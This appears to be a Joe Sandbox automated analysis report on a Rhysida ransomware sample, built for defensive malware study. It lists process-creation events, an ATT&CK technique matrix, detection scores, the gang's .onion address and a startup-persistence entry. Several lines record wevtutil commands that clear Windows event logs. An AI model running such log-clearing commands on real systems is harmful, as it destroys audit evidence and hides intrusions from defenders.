Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-GPIO/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Performance"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Internet Explorer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Key Management Service"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Application"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "HardwareEvents"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "IHM_DebugChannel"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS-I2C/Analytic"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Performance"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Internet Explorer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wevtutil.exe wevtutil.exe cl "Key Management Service"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: Acrobat.exe, 0000000B.00000000.3935057113.0000021B7CF01000.00000002.00000001.00040000.00000000.sdmp, Acrobat.exe, 0000000B.00000002.4259208023.0000021B7CF01000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: Acrobat.exe, 0000000B.00000000.3935057113.0000021B7CF01000.00000002.00000001.00040000.00000000.sdmp, Acrobat.exe, 0000000B.00000002.4259208023.0000021B7CF01000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: Acrobat.exe, 0000000B.00000000.3935057113.0000021B7CF01000.00000002.00000001.00040000.00000000.sdmp, Acrobat.exe, 0000000B.00000002.4259208023.0000021B7CF01000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: Acrobat.exe, 0000000B.00000000.3935057113.0000021B7CF01000.00000002.00000001.00040000.00000000.sdmp, Acrobat.exe, 0000000B.00000002.4259208023.0000021B7CF01000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe

Code function: 0_2_004459F0 GetSystemTimeAsFileTime,

0_2_004459F0

Source: 5PPbtKZ2hR.exe, 00000000.00000002.4522908861.0000000004ECC000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4522128857.0000000004DAB000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4522728083.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4522251013.0000000004DF2000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4522854919.0000000004EBA000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4510779253.000000000350B000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4521993578.0000000004D81000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4522424141.0000000004E1A000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4522192331.0000000004DC8000.00000004.00000020.00020000.00000000.sdmp, 5PPbtKZ2hR.exe, 00000000.00000002.4522606914.0000000004E52000.00000004.00000020.00020000.00000000.sdmp

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	2 Masquerading	11 Input Capture	1 System Time Discovery	Remote Services	11 Input Capture	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Virtualization/Sandbox Evasion	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Proxy	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	12 Process Injection	Security Account Manager	12 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Indicator Removal	Cached Domain Credentials	3 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Source	Detection	Scanner	Label
5PPbtKZ2hR.exe	73%	ReversingLabs	Win64.Ransomware.Rhysida
5PPbtKZ2hR.exe	100%	Avira	TR/AVI.Rhysida.mmuuq
5PPbtKZ2hR.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://jquery.org/license	0%	URL Reputation	safe
http://sizzlejs.com/	0%	URL Reputation	safe
http://jquery.com/	0%	URL Reputation	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://crbug.com/275944	resources.pak.rhysida.0.dr	false		unknown
http://jquery.org/license	index.html.rhysida.0.dr	false	URL Reputation: safe	unknown
https://crbug.com/1446731	resources.pak.rhysida.0.dr	false		unknown
http://crbug.com/717501	resources.pak.rhysida.0.dr	false		unknown
http://crbug.com/839189	resources.pak.rhysida.0.dr	false		unknown
http://sizzlejs.com/	index.html.rhysida.0.dr	false	URL Reputation: safe	unknown
https://crbug.com/1245093):	resources.pak.rhysida.0.dr	false		unknown
https://chromewebstore.google.com/	resources.pak.rhysida.0.dr	false		unknown
http://crbug.com/775961	resources.pak.rhysida.0.dr	false		unknown
https://mail.google.com/mail/?view=cm&fs=1&tf=1&su=	Acrobat.exe, 0000000B.00000000.3933688254.0000021B7C5EB000.00000004.00000020.00020000.00000000.sdmp, Acrobat.exe, 0000000B.00000002.4256688992.0000021B7C5EB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crbug.com/497301	resources.pak.rhysida.0.dr	false		unknown
http://rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad.onion/)	5PPbtKZ2hR.exe, CriticalBreachDetected.pdf24.0.dr, CriticalBreachDetected.pdf289.0.dr, CriticalBreachDetected.pdf84.0.dr, CriticalBreachDetected.pdf270.0.dr, CriticalBreachDetected.pdf216.0.dr, CriticalBreachDetected.pdf154.0.dr, CriticalBreachDetected.pdf77.0.dr, CriticalBreachDetected.pdf167.0.dr, CriticalBreachDetected.pdf66.0.dr, CriticalBreachDetected.pdf130.0.dr, CriticalBreachDetected.pdf120.0.dr, CriticalBreachDetected.pdf310.0.dr, CriticalBreachDetected.pdf231.0.dr, CriticalBreachDetected.pdf134.0.dr, CriticalBreachDetected.pdf207.0.dr, CriticalBreachDetected.pdf176.0.dr, CriticalBreachDetected.pdf339.0.dr, CriticalBreachDetected.pdf229.0.dr	true		unknown
https://codereview.chromium.org/25305002).	resources.pak.rhysida.0.dr	false		unknown
http://www.quicktime.com.Acrobat	Acrobat.exe, 0000000B.00000000.3937319276.0000021B7FBA7000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api2.branch.io/v1/url	Acrobat.exe, 0000000B.00000002.4261468744.0000021B7F3A8000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://ims-na1.adobelogin.com	Acrobat.exe, 0000000B.00000002.4264368673.0000021B7FD96000.00000004.00000001.00020000.00000000.sdmp, Acrobat.exe, 0000000B.00000000.3938072981.0000021B7FD96000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://mail.google.com/mail/?view=cm&fs=1&tf=1&su=tMessage	Acrobat.exe, 0000000B.00000000.3933688254.0000021B7C5EB000.00000004.00000020.00020000.00000000.sdmp, Acrobat.exe, 0000000B.00000002.4256688992.0000021B7C5EB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://outlook.office.com/mail/deeplink/compose?mailtouri=	Acrobat.exe, 0000000B.00000000.3933688254.0000021B7C5EB000.00000004.00000020.00020000.00000000.sdmp, Acrobat.exe, 0000000B.00000002.4256688992.0000021B7C5EB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://web.whatsapp.com/send?text=	Acrobat.exe, 0000000B.00000000.3933688254.0000021B7C60D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.torproject.org/download/)	5PPbtKZ2hR.exe, CriticalBreachDetected.pdf24.0.dr, CriticalBreachDetected.pdf289.0.dr, CriticalBreachDetected.pdf84.0.dr, CriticalBreachDetected.pdf270.0.dr, CriticalBreachDetected.pdf216.0.dr, CriticalBreachDetected.pdf154.0.dr, CriticalBreachDetected.pdf77.0.dr, CriticalBreachDetected.pdf167.0.dr, CriticalBreachDetected.pdf66.0.dr, CriticalBreachDetected.pdf130.0.dr, CriticalBreachDetected.pdf120.0.dr, CriticalBreachDetected.pdf310.0.dr, CriticalBreachDetected.pdf231.0.dr, CriticalBreachDetected.pdf134.0.dr, CriticalBreachDetected.pdf207.0.dr, CriticalBreachDetected.pdf176.0.dr, CriticalBreachDetected.pdf339.0.dr, CriticalBreachDetected.pdf229.0.dr	false		unknown
http://jquery.com/	index.html.rhysida.0.dr	false	URL Reputation: safe	unknown
http://crbug.com/514696	resources.pak.rhysida.0.dr	false		unknown

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524362
Start date and time:	2024-10-02 18:04:57 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5PPbtKZ2hR.exe renamed because original name is a hash value
Original Sample Name:	a0d4d52885b654cbfeefd194359936072133519c2bc7e8f68b7b668e59c67b94.exe
Detection:	MAL
Classification:	mal100.rans.evad.winEXE@1143/1030@0/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 13 Number of non-executed functions: 68
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Time	Type	Description
12:07:32	API Interceptor	19533x Sleep call for process: 5PPbtKZ2hR.exe modified
12:09:27	API Interceptor	1x Sleep call for process: WerFault.exe modified
18:08:43	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CriticalBreachDetected.pdf

Process:	C:\Users\user\Desktop\5PPbtKZ2hR.exe
File Type:	PDF document, version 1.4, 1 pages
Category:	dropped
Size (bytes):	114617
Entropy (8bit):	7.765461435190805
Encrypted:	false
SSDEEP:	1536:21cgCx69vkFBsR0M/xByy/XlEnJR6PoypIfLXbP2aXpXkDLai519xrtW+WWcHWlg:OcgCIvABlUxBvX9o3pkDm61LWPk7UsG9
MD5:	714516529C2B8A4909D5D5C1AF575B0E
SHA1:	98D4BC2ECE961DBDA5B4827EDBFB46EAE0E385B2
SHA-256:	1D89B0F3B494DA14BEEA81F6A9BE9307172FAD98CE933825D82073112F078332
SHA-512:	E2319878BB2D263593DA5391A920BFA1AF603A4CDBA642592AF5A82B6B8E6BED24DB46979AE94ED2598A9E1C0E009AA1E778D968221506C655BA3692B8A621D8
Malicious:	false
